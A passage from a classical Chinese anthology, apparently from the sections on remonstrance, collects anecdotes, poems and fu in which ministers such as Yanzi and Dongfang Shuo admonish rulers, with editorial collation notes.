吾 闻 唯 食 忘 忧 . 今 置 食 之 闲 三 叹 . 何 也 . 同 辞 而 对 曰 . 馈 之 始 至 . 恐 其 不 足 . 是 以 叹 . 中 置 自 咎 曰 . 岂 将 军 食 之 而 有 不 足 . 是 以 再 叹 . 及 馈 之 毕 . 愿 以 小 人 之 腹 . 为 君 子 之 心 . 属 厌 而 已 . 献 子 辞 梗 杨 人 .\n国 语 曰 . 晋 平 公 射 鷃 . 使 搏 之 . 不 得 . 公 怒 . 将 杀 之 . 叔 向 曰 . 君 必 杀 之 . 吾 先 君 唐 叔 . 射 兕 于 徒 林 . 以 为 大 甲 . 所 以 封 于 晋 . 今 君 嗣 唐 叔 . 射 鷃 不 得 . 是 扬 吾 君 之 耻 . 速 杀 之 . 无 令 远 闻 . 君 忸 怩 . 乃 赦 之 .\n晏 子 曰 . 齐 景 公 树 竹 . 令 吏 守 之 . 公 出 过 之 . 有 斩 竹 者 . 拘 之 . 将 加 罪 焉 . 晏 子 曰 . 君 闻 吾 先 君 丁 公 乎 . 曰 . 何 如 . 对 曰 . 丁 公 伐 曲 城 . 胜 之 . 止 其 财 . 出 其 民 . 有 舆 死 人 以 出 者 . 公 之 . 令 视 之 . 则 其 中 有 金 玉 焉 . 吏 请 杀 其 人 . 丁 公 曰 . 以 兵 攻 城 . 以 众 围 财 . 不 仁 . 且 君 人 者 . 宽 惠 慈 众 . 身 不 妄 诛 . 令 吏 舍 之 . 公 曰 . 善 . 令 出 斩 竹 之 囚 . 舍 之 .\n又 曰 . 齐 景 公 所 爱 马 暴 死 . 景 公 怒 . 令 刀 解 养 马 者 . 晏 子 请 数 之 曰 . 尔 有 罪 三 . 公 使 汝 养 马 . 汝 杀 之 . 当 死 罪 一 . 又 杀 公 之 所 爱 马 . 当 死 罪 二 . 使 公 以 一 马 之 故 杀 人 . 百 姓 怨 吾 君 . 诸 侯 轻 吾 国 . 汝 当 死 罪 三 . 景 公 喟 然 曰 . 舍 之 . 事 具 马 部 .\n列 子 曰 . 晋 文 公 出 会 . 欲 伐 卫 . 公 子 锄 仰 而 笑 之 . 公 问 何 故 笑 . 对 曰 . 笑 臣 之 邻 人 也 . 臣 之 邻 人 . 有 送 其 妻 适 私 家 者 . 道 见 桑 妇 . 悦 而 与 之 言 . 顾 视 其 妻 . 亦 有 招 之 者 . 臣 窃 叹 之 也 . 公 乃 止 . 事 具 木 部 桑 篇 .\n吕 氏 春 秋 曰 . 楚 庄 王 立 三 年 . 不 听 朝 . 成 公 贾 入 谏 曰 . 有 鸟 止 于 南 方 之 阜 . 三 年 不 动 . 不 飞 不 鸣 . 是 何 也 . 王 曰 . 是 鸟 虽 无 飞 . 飞 将 冲 天 . 虽 无 鸣 . 鸣 将 骇 人 . 贾 出 矣 . 不 谷 知 之 矣 . 明 日 朝 . 所 进 者 五 十 人 . 所 退 者 五 十 人 . 群 臣 大 悦 .\n史 记 曰 . 秦 二 世 欲 漆 其 城 . 优 旃 曰 . 善 . 主 上 虽 无 言 . 臣 固 将 请 之 . 漆 城 荡 荡 . 寇 来 不 可 上 . 易 为 漆 耳 . 难 为 荫 室 . 二 世 笑 而 止 .\n又 曰 . 孙 叔 敖 病 将 死 . 属 其 子 曰 . 贫 困 . 往 见 优 孟 . 后 其 子 穷 困 负 薪 . 逢 优 孟 . 与 言 . 孟 曰 . 无 远 行 . 时 楚 庄 王 欲 以 优 孟 为 相 . 对 曰 . 请 与 妇 人 计 之 . 三 日 后 . 优 孟 来 . 王 曰 . 何 如 . 曰 . 妇 言 无 为 楚 相 . 孙 叔 敖 尽 忠 以 治 楚 . 楚 以 得 霸 . 今 死 . 其 子 无 立 锥 之 地 . 必 如 孙 叔 敖 . 不 如 自 杀 . 王 乃 召 孙 叔 敖 子 . 以 四 百 户 奉 其 祀 . 又 曰 . 东 武 侯 母 当 养 汉 武 帝 . 号 太 乳 母 . 乳 母 家 子 孙 横 暴 . 徙 边 . 乳 母 尝 辞 见 郭 舍 人 . 为 下 泣 . 舍 人 曰 . 即 入 辞 去 . 疾 步 数 还 顾 . 乳 母 入 辞 . 如 其 言 . 疾 步 数 还 顾 . 郭 舍 人 疾 言 骂 之 曰 . 咄 . 老 女 子 . 何 不 疾 行 . 陛 下 已 壮 . 宁 尚 须 汝 乳 而 活 耶 . 尚 何 还 顾 . 于 是 上 怜 悲 之 . 乃 下 诏 . 无 徙 乳 母 .\n又 曰 . 田 叔 相 鲁 . 初 到 . 民 讼 王 取 其 财 物 百 余 人 . 田 叔 取 渠 率 二 十 人 . 笞 各 五 十 . 怒 之 曰 . 王 非 若 主 耶 . 何 敢 言 若 主 . 鲁 王 闻 之 . 大 惭 .\n韩 诗 外 传 曰 . 齐 景 公 之 时 . 民 有 得 罪 者 . 公 怒 . 缚 置 殿 下 . 召 左 右 . 支 解 之 . 晏 子 左 手 持 头 . 右 手 磨 刀 而 问 曰 . 古 明 王 圣 主 . 支 解 人 从 何 支 始 . 景 公 离 席 曰 . 纵 之 . 罪 在 寡 人 .\n东 方 朔 传 曰 . 人 有 煞 上 林 鹿 者 . 武 帝 下 有 司 煞 之 . 东 方 朔 曰 . 是 人 固 当 死 者 三 . 使 陛 下 以 鹿 之 故 煞 人 . 一 当 死 也 . 使 天 下 闻 之 . 皆 以 陛 下 为 重 鹿 贱 人 . 二 当 死 也 . 匈 奴 即 有 急 . 推 鹿 触 之 . 三 当 死 也 . 武 帝 嘿 然 . 遂 赦 之 .\n孔 藂 子 曰 . 陈 惠 侯 大 城 . 因 起 陵 阳 之 台 . 未 终 而 坐 法 死 者 数 十 人 . 又 执 二 监 吏 . 将 煞 之 . 孔 子 适 陈 . 闻 之 . 见 陈 侯 . 与 俱 登 台 而 观 焉 . 孔 子 曰 . 美 哉 斯 台 . 自 古 圣 王 为 城 台 . 未 有 不 戮 一 人 而 致 功 若 此 者 也 . 陈 侯 默 . 赦 所 执 吏 .\n新 序 曰 . 赵 简 子 上 羊 关 阪 . 群 臣 皆 偏 裼 推 车 . 而 唐 会 担 戟 行 歌 . 简 子 曰 . 寡 人 上 阪 . 群 臣 推 车 . 会 独 行 歌 . 不 推 车 . 是 会 为 臣 而 侮 其 主 . 其 罪 何 若 . 对 曰 . 臣 侮 主 之 罪 当 死 . 死 者 身 死 妻 子 为 戮 也 . 君 虽 闻 为 臣 侮 主 之 罪 . 君 亦 闻 为 人 君 而 侮 其 臣 者 乎 . 简 子 曰 . 何 若 为 侮 其 臣 者 乎 . 对 曰 . 智 者 不 为 谋 . 辩 者 不 为 使 . 勇 者 不 为 斗 . 夫 智 者 不 为 谋 . 则 社 稷 危 . 辩 者 不 为 使 . 则 指 事 不 通 . 勇 者 不 为 斗 . 则 边 境 侵 . 三 者 不 使 . 则 君 难 保 . 简 子 乃 罢 推 车 .\n又 曰 . 魏 文 侯 与 大 夫 坐 . 问 曰 . 寡 人 何 如 君 也 . 群 臣 皆 曰 . 君 仁 君 也 . 次 问 翟 黄 . 曰 . 君 非 仁 君 也 . 曰 . 子 何 以 言 之 . 对 曰 . 君 伐 中 山 . 不 以 封 君 之 弟 . 而 以 封 君 之 长 子 . 曰 以 是 知 君 之 非 仁 君 也 . 文 侯 怒 而 逐 翟 黄 . 翟 黄 趍 而 出 . 次 任 坐 . 坐 对 曰 . 君 仁 君 也 . 曰 . 子 何 以 言 之 . 对 曰 . 臣 闻 之 . 其 君 仁 者 其 臣 直 . 向 翟 黄 之 言 直 . 臣 是 以 知 君 仁 君 也 . 文 侯 曰 . 善 . 复 召 翟 黄 .\n说 苑 曰 . 赵 简 子 举 兵 伐 齐 . 有 被 甲 士 申 护 笑 . 简 子 曰 . 子 何 笑 . 对 曰 . 臣 乃 有 宿 笑 . 当 桑 之 时 . 臣 邻 家 父 与 妻 俱 之 田 . 见 桑 中 女 . 因 追 之 . 不 能 得 . 还 反 . 其 妻 怒 而 去 之 . 臣 笑 其 旷 也 . 简 子 曰 . 今 吾 伐 国 失 国 . 是 吾 旷 也 . 还 师 而 归 .\n又 曰 . 齐 桓 公 逐 鹿 入 谷 . 见 一 老 公 . 问 是 为 何 谷 . 对 曰 . 为 愚 公 谷 . 以 臣 名 之 . 桓 公 曰 . 视 公 仪 状 非 愚 人 . 何 为 以 公 名 之 . 对 曰 . 臣 故 畜 牸 牛 生 子 . 大 卖 之 而 买 驹 . 少 年 曰 . 牛 不 能 生 马 . 遂 持 驹 去 . 傍 邻 以 臣 为 愚 . 故 名 愚 公 . 管 仲 再 拜 曰 . 此 夷 吾 之 过 也 . 使 尧 在 上 . 咎 繇 为 理 . 安 有 取 驹 者 乎 .\n又 曰 . 吴 王 欲 伐 荆 . 舍 人 少 孺 子 欲 谏 . 不 敢 . 则 怀 丸 操 弹 . 游 于 后 园 . 露 沾 其 衣 . 王 曰 . 何 沾 衣 如 此 . 对 曰 . 榆 上 有 蝉 . 高 居 悲 鸣 . 不 知 螗 蜋 在 后 . 螗 蜋 委 身 欲 取 蝉 . 不 知 黄 雀 在 其 傍 . 黄 雀 延 颈 欲 啄 螗 蜋 . 而 不 知 弹 丸 在 其 下 . 此 三 者 皆 务 欲 得 其 利 . 而 不 顾 其 后 患 也 . 王 曰 . 善 哉 . 乃 罢 兵 .\n蜀 志 曰 . 天 旱 . 禁 酒 酿 者 . 刑 吏 于 人 家 索 得 酿 具 . 欲 令 与 作 酒 者 同 罚 . 简 雍 从 先 主 游 . 见 一 男 子 行 道 . 谓 先 主 . 彼 人 欲 淫 . 何 以 不 缚 . 先 主 曰 . 卿 何 以 知 之 . 雍 曰 . 彼 有 淫 具 . 与 欲 酿 者 同 . 先 主 大 笑 . 而 原 欲 酿 者 .\n世 记 ○ 太 平 御 览 八 百 三 十 二 作 说 . 曰 . 桓 玄 好 猎 . 兔 腾 逸 . 参 佐 无 不 被 系 . 桓 道 恭 常 自 带 绵 绛 绳 . 着 腰 中 . 玄 问 用 此 何 为 . 答 . 玄 猎 好 缚 人 士 . 会 被 缚 . 手 不 能 堪 痛 也 . 玄 自 此 小 差 .\n【 诗 】 汉 韦 孟 讽 谏 诗 序 曰 . 孟 为 元 王 傅 . 又 傅 子 夷 王 . 及 孙 王 戊 . 荒 淫 不 遵 道 . 孟 作 诗 讽 谏 曰 . 肃 肃 我 祖 . 国 自 豕 韦 . 黼 衣 朱 绂 . 四 牡 龙 旗 . 彤 弓 斯 征 . 抚 宁 遐 荒 . 总 齐 群 邦 . 以 翼 大 商 . 迭 彼 大 彭 . 勋 绩 惟 光 . 至 于 有 周 . 历 世 会 同 . 王 听 谮 . 寔 绝 我 邦 . 悠 悠 嫚 秦 . 上 天 不 宁 . 乃 睠 南 顾 . 授 汉 于 京 . 乃 命 厥 弟 . 建 侯 于 楚 . 俾 我 小 臣 . 惟 傅 是 辅 . 兢 兢 元 王 . 恭 俭 静 壹 . 惠 此 黎 民 . 纳 彼 辅 弼 . 爰 及 夷 王 . 克 奉 厥 绪 . 咨 命 不 永 . 惟 王 统 祀 . 如 何 我 王 . 不 思 守 保 . 不 惟 履 冰 . 以 继 祖 考 . 邦 事 是 废 . 逸 游 是 娱 . 人 马 悠 悠 . 是 放 是 驱 . 所 弘 匪 德 . 所 亲 匪 俊 . 唯 囿 是 恢 . 唯 谀 是 信 . 嗟 嗟 我 王 . 汉 之 睦 亲 . 曾 不 夙 夜 . 以 休 令 闻 .\n魏 应 璩 百 一 诗 曰 . 年 命 在 桑 榆 . 东 岳 与 我 期 . 长 短 有 常 会 . 迟 速 不 得 辞 . 斗 酒 当 为 乐 . 无 为 待 来 兹 . 室 广 致 凝 阴 . 台 高 来 积 阳 . 奈 何 季 世 人 . 侈 靡 在 宫 墙 . 饰 巧 无 穷 极 . 土 木 被 朱 光 . 征 求 倾 四 海 . 雅 意 犹 未 康 .\n【 赋 】 楚 荀 况 赋 曰 . 天 下 不 治 . 请 陈 佹 诗 . 天 地 易 位 . 四 时 易 乡 . 列 星 陨 坠 . 旦 暮 晦 冥 . 幽 暗 登 照 . 日 月 下 藏 . 公 正 无 私 . 见 谓 纵 横 . 志 爱 公 私 . 重 楼 疏 堂 . 道 德 纯 备 . 谗 口 将 将 . 仁 人 诎 约 . 敖 暴 擅 强 . 天 下 幽 险 . 怨 失 世 殃 . 龟 龙 为 蝘 蜓 . 鸱 枭 为 凤 皇 . 比 干 见 剖 . 孔 子 拘 匡 . 昭 昭 乎 其 智 之 明 也 . 郁 郁 乎 其 遇 时 不 祥 也 . 拂 乎 其 欲 礼 义 之 大 行 也 . 暗 乎 天 下 之 晦 盲 也 . 琁 玉 瑶 琳 . 不 知 佩 也 . 杂 布 与 绵 . 不 知 异 也 . 闾 娵 子 奢 . 莫 之 媒 也 . 嫫 母 力 父 . 莫 ○ 荀 子 赋 篇 作 是 . 之 喜 也 . 以 盲 为 明 . 以 聋 为 聪 . 以 危 为 安 . 以 吉 为 凶 . 呜 呼 上 天 . 曷 惟 其 同 .\n楚 宋 玉 讽 赋 曰 . 楚 襄 王 时 . 宋 玉 休 归 . 唐 勒 谗 之 于 王 曰 . 玉 为 人 . 身 体 容 冶 . 内 多 微 辞 . 出 爱 主 人 之 女 . 入 事 大 王 . 愿 王 疏 之 . 玉 休 还 . 王 谓 玉 曰 . 出 爱 主 人 之 女 . 入 事 寡 人 . 不 亦 薄 乎 . 玉 曰 . 臣 尝 出 行 . 仆 饥 马 疲 . 主 人 之 女 . 翳 承 日 之 华 . 披 翠 云 之 裘 . 更 被 白 縠 之 单 衫 . 垂 珠 步 摇 . 来 排 臣 户 . 为 臣 炊 雕 胡 之 饭 . 烹 露 葵 之 羹 . 以 其 翡 翠 之 钗 . 挂 臣 冠 缨 . 为 臣 歌 曰 . 岁 将 暮 兮 日 已 寒 . 中 心 乱 兮 勿 多 言 . 臣 复 援 琴 为 秋 竹 积 雪 之 曲 . 主 人 女 又 为 臣 歌 曰 . 怵 惕 心 兮 徂 玉 床 . 横 自 陈 兮 君 之 傍 . 君 不 御 兮 妾 谁 怨 . 日 将 至 兮 下 黄 泉 .\n又 钓 赋 曰 . 宋 玉 与 登 徒 子 偕 受 钓 于 玄 泉 . 止 而 并 见 于 楚 襄 王 . 登 徒 子 曰 . 夫 玄 泉 天 下 之 善 钓 者 也 . 以 三 寻 之 竿 . 八 丝 之 线 . 以 出 三 尺 之 鱼 于 数 仞 之 中 . 可 谓 无 术 乎 . 襄 王 曰 . 善 . 宋 玉 进 曰 . 今 玄 泉 钓 . 又 焉 足 为 大 王 言 乎 . 王 曰 . 子 所 谓 善 钓 者 何 . 玉 曰 . 善 钓 者 . 其 竿 非 竹 . 其 纶 非 丝 . 其 钩 非 针 . 其 饵 非 螾 也 . 王 曰 . 愿 遂 闻 之 . 宋 玉 曰 . 昔 尧 舜 禹 汤 之 钓 也 . 以 圣 贤 为 竿 . 道 德 为 纶 . 仁 义 为 钩 . 利 人 为 饵 . 四 海 为 池 . 万 民 为 鱼 . 其 钓 道 微 也 . 非 圣 孰 能 察 之 . 王 曰 . 钓 未 可 见 也 . 宋 玉 曰 . 其 钓 易 见 . 昔 殷 汤 以 七 十 里 . 兴 利 除 害 . 天 下 归 之 . 其 饵 可 谓 芳 矣 . 南 面 以 掌 天 下 . 历 载 数 百 . 到 今 不 废 . 其 纶 可 谓 多 ● ○ 古 文 苑 二 作 纫 . 矣 . 群 生 浸 其 泽 . 民 氓 畏 其 罚 . 其 钓 可 谓 善 矣 . 功 成 而 不 坠 . 名 立 而 不 改 . 其 竿 可 谓 强 矣 . 夫 竿 折 纶 绝 . 饵 堕 钓 决 . 鱼 失 . 则 夏 桀 . 殷 纣 不 通 夫 钓 术 也 .\n晋 陆 机 豪 士 赋 曰 . 夫 立 德 之 基 有 常 . 而 建 功 之 路 不 一 . 何 则 . 修 心 以 为 量 者 在 乎 我 . 因 物 以 成 务 者 系 乎 彼 . 存 夫 我 者 . 隆 杀 止 乎 其 域 . 系 乎 物 者 . 丰 约 唯 所 遭 遇 . 落 叶 候 微 飙 以 陨 . 而 风 之 力 盖 寡 . 孟 尝 遭 雍 门 以 泣 . 而 琴 之 感 以 末 . 何 哉 . 欲 陨 之 叶 . 无 所 假 烈 风 . 将 坠 之 泣 . 不 足 繁 哀 响 也 . 苟 时 启 于 天 . 理 尽 于 民 . 庸 夫 可 以 济 圣 贤 之 功 . 斗 筲 可 以 定 烈 士 之 业 . 故 曰 . 才 未 半 古 . 功 已 倍 之 . 盖 得 之 于 时 势 也 . 历 观 古 今 . 徼 一 时 之 功 . 而 居 伊 周 之 位 者 . 有 矣 . 夫 我 之 自 我 . 智 士 犹 婴 其 累 . 物 之 相 物 . 昆 虫 皆 有 此 情 . 岂 识 乎 功 在 身 外 . 任 出 才 表 者 哉 . 众 心 日 侈 . 危 机 将 发 . 而 方 偃 仰 瞪 盻 . 谓 足 以 夸 世 . 笑 古 人 之 未 工 . 忘 己 事 之 已 拙 . 然 后 河 海 之 迹 . 堙 为 穷 流 . 一 匮 之 衅 . 积 成 山 岳 . 岂 不 谬 哉 . 故 聊 赋 焉 . 世 有 豪 士 兮 . 遭 国 颠 沛 . 摄 穷 运 之 归 期 . 当 众 通 之 所 会 . 苟 时 至 而 理 尽 . 譬 摧 枯 与 振 败 . 因 天 地 以 运 动 . 恒 才 璅 而 功 大 . 于 是 礼 极 上 典 . 服 尽 晖 崇 . 仪 北 辰 以 葺 宇 . 实 兰 室 而 桂 宫 . 抚 玉 衡 于 枢 极 . 运 万 物 乎 掌 中 . 伊 天 道 之 刚 健 . 犹 时 至 而 必 . 日 罔 中 而 弗 昃 . 月 何 盈 而 不 阙 . 袭 覆 车 之 危 轨 . 笑 前 乘 之 未 完 . 若 知 险 而 退 止 . 趍 归 蕃 而 自 戢 . 推 琁 玑 以 长 谢 . 顾 万 邦 而 高 揖 . 托 浮 云 以 迈 志 . 岂 咎 愆 之 能 集 . 挤 为 山 以 自 陨 . 叹 祸 至 于 何 及 .\n【 论 】 魏 陈 王 曹 植 令 禽 恶 鸟 ○ 太 平 御\n览 九 百 二 十 三 作 贪 恶 鸟 论 . 曰 . 国 人 有 以 伯 劳 生 献\n者 . 王 召 见 之 . 侍 臣 曰 . 世 同 恶 伯 劳 之 鸣 . 敢 问 何 谓 也\n. 王 曰 . 昔 尹 吉 甫 用 后 妻 之 谗 . 煞 孝 子 伯 奇 . 吉 甫 后 悟\n. 追 伤 伯 奇 . 出 游 于 田 . 见 鸟 鸣 于 桑 . 其 声 噭 然 . 吉 甫\n动 心 曰 . 伯 奇 乎 . 鸟 乃 抚 翼 . 其 音 尤 切 . 吉 甫 乃 顾 曰 .\n伯 劳 乎 . 是 吾 子 . 栖 吾 舆 . 吾 ○ 太 平 御\n览 吾 上 有 非 字 . 此 脱 . 子 . 飞 勿 居 . 鸟 寻 声 而 栖 于\n盖 . 吉 甫 遂 射 煞 后 妻 以 谢 之 . 故 俗 恶 伯 劳 之 鸣 . 言 所 鸣\n之 家 . 必 有 尸 也 . 此 好 事 者 附 名 为 之 说 . 而 今 普 传 恶 之\n. 其 实 否 也 . 伯 劳 以 五 月 而 鸣 . 应 阴 气 之 动 . 阴 为 贼 害\n. 盖 贼 害 之 鸟 也 . 其 声 鵙 鵙 然 . 故 俗 憎 之 . 若 其 为 人 灾\n害 . 愚 民 之 所 信 . 通 人 之 所 略 也 . 鸟 鸣 之 恶 自 取 憎 . 人\n言 之 恶 自 取 灭 . 不 能 有 累 于 当 世 也 . 而 凶 人 之 行 弗 可 易\n. 枭 鵙 之 鸣 弗 可 更 者 . 天 性 然 也 . 昔 荆 之 枭 . 将 巢 于 吴\n. 鸠 遇 之 曰 . 何 去 荆 而 巢 吴 乎 . 枭 曰 . 荆 人 恶 予 之 声 .\n鸠 曰 . 子 如 不 能 革 子 之 音 . 则 吴 楚 之 民 . 不 易 情 也 . 为\n子 计 者 . 莫 若 宛 颈 戢 翼 . 终 身 勿 复 鸣 也 . 昔 会 朝 议 者 .\n有 人 问 曰 . 宁 有 闻 枭 食 其 母 乎 . 有 答 之 者 曰 . 尝 闻 乌 反\n哺 . 未 闻 枭 食 其 母 也 . 问 者 惭 唱 不 善 也 . 得 蟢 者 莫 不 驯\n而 放 之 . 为 利 人 也 . 得 蚤 者 莫 不 糜 之 齿 牙 . 为 害 身 也 .\n鸟 兽 昆 虫 . 犹 以 名 声 见 异 . 况 夫 吉 士 之 与 凶 人 乎 .\n礼 记 曰 . 为 人 臣 礼 不 显 谏 . 三 谏 而 不 听 . 则 逃 之 . 子 之 事 亲 也 . 三 谏 而 不 从 . 则 号 泣 而 随 之 .\n左 传 曰 . 公 将 如 棠 观 鱼 者 . 臧 僖 伯 谏 曰 . 凡 物 不 足 以 讲 大 事 . 其 材 不 足 以 备 器 用 . 则 君 不 举 焉 . 故 春 搜 夏 苗 . 狄 狝 冬 狩 . 皆 于 农 隙 以 讲 事 也 . 若 夫 山 林 川 泽 之 实 . 器 用 之 资 . 皂 隶 之 事 . 官 司 之 守 . 非 君 所 及 也 . 公 曰 . 吾 将 略 地 焉 . 遂 往 陈 鱼 而 观 之 . 僖 伯 称 疾 不 从 .\n又 曰 . 宋 华 父 督 以 郜 大 鼎 赂 公 . 纳 于 太 庙 . 非 礼 也 . 臧 哀 伯 谏 曰 . 君 人 者 . 将 昭 德 塞 违 . 以 临 照 百 官 . 犹 惧 或 失 之 . 故 昭 令 德 以 示 子 孙 . 百 官 于 是 乎 戒 惧 . 而 不 敢 易 纪 律 . 今 灭 德 立 违 . 而 置 其 赂 器 于 太 庙 . 以 明 示 百 官 . 百 官 象 之 . 其 又 何 诛 焉 . 国 家 之 败 . 由 官 邪 也 . 官 之 失 德 . 宠 赂 彰 也 . 郜 鼎 在 庙 . 彰 孰 甚 焉 .\n又 曰 . 晋 侯 假 道 于 虞 以 伐 虢 . 宫 之 奇 谏 曰 . 虢 . 虞 之 表 也 . 虢 亡 . 虞 必 从 之 . 晋 不 可 启 . 寇 不 可 玩 . 一 之 谓 甚 . 其 可 再 乎 . 谚 所 谓 辅 车 相 依 . 唇 亡 齿 寒 者 . 虞 虢 之 谓 也 . 事 具 武 部 战 伐 篇 .\n又 曰 . 晋 师 为 楚 所 败 . 既 归 . 荀 桓 子 请 死 . 晋 侯 欲 许 之 . 士 贞 子 谏 曰 . 不 可 . 林 父 之 事 君 也 . 进 思 尽 忠 . 退 思 补 过 . 社 稷 之 卫 也 . 若 之 何 煞 之 . 夫 其 败 也 . 如 日 月 之 食 焉 . 何 损 于 明 . 晋 侯 使 复 其 位 .\n论 语 曰 . 事 父 母 几 谏 .\n逸 礼 曰 . 卫 史 病 且 死 . 谓 其 子 曰 . 我 死 . 治 丧 于 北 堂 . 吾 生 不 能 进 蘧 伯 玉 而 退 弥 子 瑕 . 是 不 能 正 君 也 . 生 不 能 正 君 者 . 死 不 当 成 礼 . 死 而 置 尸 于 北 堂 . 于 我 足 矣 . ● 公 往 吊 . 问 其 故 . 其 子 以 父 言 闻 于 ● 公 . 公 失 容 曰 . 吾 失 矣 . 立 召 蘧 伯 玉 而 贵 之 . 召 弥 子 瑕 而 退 之 . 徙 丧 于 堂 . 成 礼 而 后 去 .\n晏 子 曰 . 景 公 有 所 爱 槐 . 令 吏 守 之 . 令 犯 槐 者 死 . 有 过 而 犯 之 者 . 君 令 吏 收 而 拘 之 . 将 加 罪 焉 . 晏 子 明 日 早 朝 . 谏 曰 . 君 穷 民 财 力 . 繁 钟 鼓 之 乐 . 极 宫 室 之 观 . 犯 槐 者 死 . 刑 煞 不 称 . 贼 民 之 深 者 也 . 君 飨 国 . 德 行 未 见 于 众 . 而 刑 辟 着 于 国 . 婴 恐 其 不 可 以 莅 国 子 民 也 . 公 曰 . 善 . 罢 守 槐 之 役 . 出 犯 槐 之 囚 .\n又 曰 . 景 公 为 台 . 台 成 . 又 欲 为 钟 . 晏 子 谏 曰 . 君 今 既 已 筑 台 矣 . 又 敛 于 民 而 为 钟 . 则 民 必 哀 矣 . 敛 民 哀 以 为 乐 . 不 祥 . 非 所 以 君 民 也 . 公 乃 止 .\n又 曰 . 景 公 畋 . 十 有 八 日 而 不 反 . 晏 子 往 见 公 . 比 至 . 衣 冠 尽 不 正 . 望 游 而 驰 . 公 见 . 逆 劳 曰 . 夫 子 何 为 遽 . 国 家 得 无 有 故 乎 . 晏 子 对 曰 . 无 恙 也 . 虽 然 . 婴 愿 有 复 也 . 国 人 皆 以 君 安 野 而 不 安 国 . 好 兽 而 恶 人 . 无 乃 不 可 乎 . 公 于 是 罢 田 . 即 日 归 .\n吕 氏 春 秋 传 曰 . 越 饥 . 请 食 于 吴 . 子 胥 谏 曰 . 不 可 与 也 . 夫 吴 之 与 越 . 接 土 邻 境 . 道 易 人 通 . 仇 雠 敌 战 之 国 . 非 吴 丧 越 . 越 必 丧 吴 . 今 将 输 之 粟 . 是 长 吾 仇 雠 . 财 匮 民 怨 . 悔 无 及 也 . 吴 王 不 从 . 后 吴 饥 . 请 食 于 越 . 越 弗 与 . 及 攻 之 . 夫 差 为 禽 .\n又 曰 . 卫 灵 公 天 寒 凿 池 . 苑 春 谏 曰 . 天 寒 起 役 . 恐 伤 民 . 公 曰 . 天 寒 乎 哉 . 苑 春 曰 . 公 衣 狐 裘 . 坐 熊 席 . 是 以 不 寒 . 今 民 衣 弊 不 补 . 民 则 寒 矣 . 公 曰 . 善 . 令 罢 役 .\n王 孙 子 新 书 曰 . 楚 庄 王 攻 宋 . 厨 有 臭 肉 . 有 败 酒 . 将 军 子 重 谏 曰 . 今 君 厨 肉 臭 而 不 可 食 . 酒 败 而 不 可 饮 . 而 三 军 之 士 . 皆 有 饥 色 . 欲 以 胜 敌 . 不 亦 难 乎 . 庄 王 曰 . 善 .\n又 曰 . 卫 灵 公 坐 重 华 之 台 . 侍 御 数 百 . 随 珠 照 日 . 罗 衣 从 风 . 仲 叔 敖 入 谏 曰 . 昔 桀 纣 行 此 而 亡 . 今 四 境 内 侵 . 诸 侯 加 兵 . 土 地 日 削 . 百 姓 乖 离 . 今 君 内 宠 . 无 乃 太 盛 欤 . 灵 公 再 拜 曰 . 寡 人 过 矣 . 微 子 之 言 . 社 稷 几 倾 . 于 是 出 宫 女 之 不 进 者 数 百 人 . 百 姓 大 悦 .\n史 记 曰 . 赵 肃 侯 游 大 陆 . 出 于 鹿 门 . 大 戊 午 扣 马 曰 . 耕 事 方 急 . 一 日 不 作 . 百 日 不 食 . 肃 侯 下 车 而 谢 之 .\n又 曰 . 始 皇 长 子 扶 苏 谏 曰 . 天 下 初 定 . 远 方 黔 首 未 集 . 今 皆 重 法 绳 之 . 臣 恐 天 下 不 安 . 唯 上 察 之 . 始 皇 怒 . 使 扶 苏 北 监 蒙 恬 于 上 郡 .\n又 曰 . 沛 公 入 秦 宫 . 宫 室 帏 帐 重 室 . 狗 马 妇 女 以 千 数 . 意 欲 留 居 之 . 张 良 谏 曰 . 夫 秦 为 无 道 . 故 沛 公 得 至 此 . 夫 为 天 下 除 残 贼 . 宜 缟 素 为 资 . 今 始 入 秦 . 即 安 其 乐 . 此 所 □ □ □ ○ 史 记 留 侯 世 家 作 谓 助 桀 三 字 . 为 虐 也 . 且 忠 言 逆 耳 利 于 行 . 良 药 苦 口 利 于 病 . 沛 公 乃 还 军 灞 上 .\n又 曰 . 高 帝 欲 以 赵 王 如 意 易 太 子 . 叔 孙 通 谏 曰 . 太 子 仁 孝 . 天 下 皆 闻 之 . 吕 后 与 陛 下 攻 苦 食 淡 . 其 可 背 哉 . 必 欲 废 适 而 立 少 . 臣 愿 先 伏 诛 . 以 颈 血 污 地 . 帝 曰 . 公 罢 矣 . 吾 特 戏 耳 . 叔 孙 通 曰 . 太 子 者 . 天 下 根 本 . 本 壹 摇 . 天 下 振 动 . 奈 何 以 天 下 戏 .\n汉 书 曰 . 郅 都 . 景 帝 时 为 中 郎 . 敢 言 直 谏 . 面 折 大 臣 于 朝 . 尝 从 上 入 上 林 . 贾 姬 在 厕 . 野 彘 入 厕 . 上 目 都 . 都 不 行 . 上 欲 自 持 兵 救 贾 姬 . 都 伏 上 前 曰 . 一 姬 死 . 复 一 姬 进 . 天 下 所 少 . 宁 贾 姬 等 乎 . 陛 下 纵 自 轻 . 奈 宗 庙 太 后 何 . 上 还 . 彘 亦 不 伤 贾 姬 . 太 后 闻 之 嘉 . 赐 都 金 百 斤 . 上 亦 赐 金 百 斤 .\n又 曰 . 薛 广 德 敢 直 言 谏 争 . 上 幸 甘 泉 . 因 留 射 猎 . 广 德 上 书 曰 . 窃 见 关 东 困 极 . 民 人 流 离 . 陛 下 日 撞 亡 秦 之 钟 . 听 郑 卫 之 乐 . 臣 诚 悼 之 . 今 士 卒 暴 露 . 从 官 劳 倦 . 愿 陛 下 亟 反 宫 . 思 与 百 姓 同 忧 乐 . 天 下 幸 甚 . 上 即 日 还 .\n又 曰 . 梅 福 上 书 谏 成 帝 曰 . 天 下 之 士 民 . 有 上 书 求 见 者 . 辄 使 诣 尚 书 . 问 其 所 言 谏 . 可 采 取 者 . 秩 以 斗 升 之 禄 . 赐 以 一 束 之 帛 . 若 此 . 则 天 下 之 士 . 发 愤 懑 . 吐 忠 言 . 嘉 谋 日 闻 于 上 . 天 下 之 条 贯 . 国 家 之 表 里 . 烂 然 可 睹 矣 .\n又 曰 . 哀 帝 时 . 杜 钦 谏 曰 . 臣 闻 曰 . 非 仁 无 以 广 施 . 非 义 无 以 正 身 . 今 汉 承 周 秦 之 弊 . 宜 抑 文 尚 质 . 表 实 去 伪 . 臣 窃 有 所 忧 . 言 之 拂 心 逆 耳 . 不 言 则 渐 日 长 祸 不 细 .\n说 苑 曰 . 楚 庄 王 筑 层 台 . 延 石 千 重 . 延 壤 百 里 . 谏 者 七 十 二 人 皆 死 矣 . 有 诸 御 已 入 谏 庄 王 曰 . 昔 虞 不 用 宫 